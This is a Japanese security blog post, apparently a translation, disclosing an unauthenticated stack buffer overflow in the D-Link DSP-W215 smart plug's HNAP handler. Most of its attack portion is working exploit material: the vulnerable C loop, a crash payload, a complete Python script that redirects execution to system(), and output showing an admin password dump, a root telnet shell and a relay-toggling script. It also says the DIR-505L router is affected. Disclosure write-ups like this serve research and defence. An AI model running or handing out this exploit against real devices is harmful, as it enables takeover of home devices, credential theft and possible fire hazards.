D-Link DSP-W215スマートプラグをハックする

画像

D-Link DSP-W215スマートプラグは、コンセントを監視および制御するためのワイヤレスデバイスです。 まだAmazonやBest Buyのストアで購入することはできませんが、ファームウェアはすでにD-Link Webサイトからダウンロードできます。



TL; DR :DSP-W215には、認証されていないユーザーがコンセント自体を含むデバイスを完全に制御できるようにするバッファオーバーフローエラーが含まれています。



デバイスのファームウェアは、Linux上の組み込みシステムの完全に標準です。

画像



ファームウェアを解凍した後、このデバイスには通常のWebインターフェイスがないことがわかりました。iOSおよびAndroid用の特別なアプリケーションを使用してのみ構成できます。 また、このアプリケーションは、 ホームネットワーク管理プロトコルを使用してスマートプラグと通信しているようです。



なぜなら HNAPはSOAPプロトコルに基づいており、lighttpdサーバーによって処理され、その構成ファイルの断片から、CGIアプリケーション/www/my_cgi.cgiがHNAP要求の処理に関与していることが容易に理解できます。

... alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi", "/HNAP1" => "/www/my_cgi.cgi", ...
      
      







HNAPでは認証が必要ですが、一部のアクション、つまりGetDeviceSettingsでは認証が必要ありません。

画像



GetDeviceSettingsは可能なアクションのリストのみを提供し、それ自体では何も実行できませんが、これは、認証が検証される前にmy_cgi.cgiがリクエストを解析することを意味します。



HNAP要求は、my_cgi.cgiのdo_hnap関数によって処理されます。 なぜなら HNAPアクションはHTTP POSTリクエストとして送信され、do_hnap関数は最初にContent-Lengthヘッダーを処理します:

画像



そして、何も起こらなかったかのように、リクエスト本文をスタック上の固定サイズのバッファに読み込みます。

画像



 int content_length, i; char *content_length_str; char post_data_buf[500000]; content_length = 0; content_length_str = getenv("CONTENT_LENGTH"); if(content_length_str) { content_length = strtol(content_length_str, 10); } memset(post_data_buf, 0, 500000); for(i=0; i<content_length; i++) { post_data_buf[i] = fgetc(); }
      
      







memsetを見ると、バッファが500,000バイトのみであることが明らかになります。 500,000バイトを超えるPOST要求はバッファーをオーバーフローさせますが、 スタックには他の変数があり、戻りアドレスを上書きするには10,00020バイトかかります。

 # Overflow $ra with 0x41414141 perl -e 'print "D"x1000020; print "A"x4' > overflow.txt wget --post-file=overflow.txt http://192.168.0.60/HNAP1/
      
      





画像



しかし、楽しいのは、リクエストハンドラーがfgetcを使用してループ内のバッファーへのPOSTリクエストの本文を読み取るため、「不良」バイトがないことです。 これは素晴らしい my_cgi.cgiの0x00405CACには、スタックへのポインター($ sp + 0×28)で$ a0(関数の最初の引数のレジスタ)をロードし、system()を呼び出すコードがあります。

画像



そのため、戻りアドレスを0x00405CACに書き換え、実行する必要があるコマンドをオフセット0×28のスタックに配置するだけです。

 import sys import urllib2 command = sys.argv[1] buf = "D" * 1000020 # Fill up the stack buffer buf += "\x00\x40\x5C\xAC" # Overwrite the return address on the stack buf += "E" * 0x28 # Stack filler buf += command # Command to execute buf += "\x00" # NULL terminate the command string req = urllib2.Request("http://192.168.0.60/HNAP1/", buf) print urllib2.urlopen(req).read()
      
      







予想よりもさらに良い-実行中のコマンドの標準出力が応答します:

 eve@eve:~$ ./exploit.py 'ls -l /' drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 bin drwxrwxr-x 3 1000 1000 4096 May 9 16:04 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 Jan 14 14:16 lib drwxr-xr-x 3 1000 1000 4096 Jan 14 14:16 libexec lrwxrwxrwx 1 1000 1000 11 May 9 16:01 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 7 1000 1000 4096 May 9 15:44 mnt drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 9 17:49 root drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 sbin drwxrwxr-x 3 1000 1000 4096 May 15 04:27 tmp drwxrwxr-x 7 1000 1000 4096 Jan 14 14:16 usr drwxrwxr-x 3 1000 1000 4096 May 9 16:04 var -rw-r--r-- 1 1000 1000 17 Jan 14 14:16 version drwxrwxr-x 8 1000 1000 4096 May 9 16:52 www
      
      







設定と管理者パスワードをダンプできます:

 eve@eve:~$ ./exploit.py 'nvram show' | grep admin admin_user_pwd=200416 admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level admin_level=1 admin_user_name=admin storage_user_00=0/admin//
      
      







または、telnetdを実行して完全なシェルを取得します。

 eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh' eve@eve:~$ telnet 192.168.0.60 Trying 192.168.0.60... Connected to 192.168.0.60. Escape character is '^]'. BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. / #
      
      







my_cgi.cgiを少し掘り下げた後、ソケットをオンまたはオフにするために必要なのは、/ var / sbin / relayを実行することだけであることがわかりました。

 /var/sbin/relay 1 # Turns outlet on /var/sbin/relay 0 # Turns outlet off
      
      







ライトを点滅させる小さなスクリプトを作成できます。

 #!/bin/sh OOK=1 while [ 1 ] do /var/bin/relay $OOK if [ $OOK -eq 1 ] then OOK=0 else OOK=1 fi done
      
      







D-Linkの広告で述べられているように、コンセント管理はより深刻な結果をもたらす可能性があります。

画像

D-Linkからの不正な広告



Smart Plug自体は過熱を検出できる可能性がありますが、それ自体の過熱のみを検出すると思われます。 コンセントに接続されているデバイスの温度を判断する方法はありません。 したがって、ヒーターをスマートプラグに接続したままにして、こっそりと誰かがこっそりと電源を入れた場合、悪い一日を過ごすことになります。



スマートプラグが(たとえば、UPnPを介してポートを転送することによって)外部からアクセスできるようにするかどうかは不明です。 Androidアプリは機能しません。 ラップトップを介して成功しましたが、Android経由でSmart Plugへの初期接続を確立することさえできませんでした。 しかし、最終的に、MyDlinkでリモートアクセス用のアカウントを作成すると、「アカウントを作成できません」という非常に詳細なエラーが発生しました。 構成の最後に、スマートプラグはワイヤレスネットワークに接続するように構成されていると言われましたが、どのネットワークにも接続せず、初期構成に使用されたアクセスポイントは失われました。 なぜなら Wi-Fiが壊れており、イーサネットが欠落しているため、デバイスとの接続が完全に失われました。 そうそう、デバイスにもハードリセットボタンはありません。 まあ、とにかく、私はそれを捨てるつもりだった。



このデバイスを買った人は誰でもそれを動作させることができなかったのではないかと疑っています。 いずれにせよ、私はそのようなデバイスをネットワークや家電に接続することを恐れています。



ところで、 D-Link DIR-505Lルーターもこのバグの影響を受けます。 my_cgi.cgiのほぼ正確なコピーがあります。



両方のデバイスのPoCはこちらです。



All Articles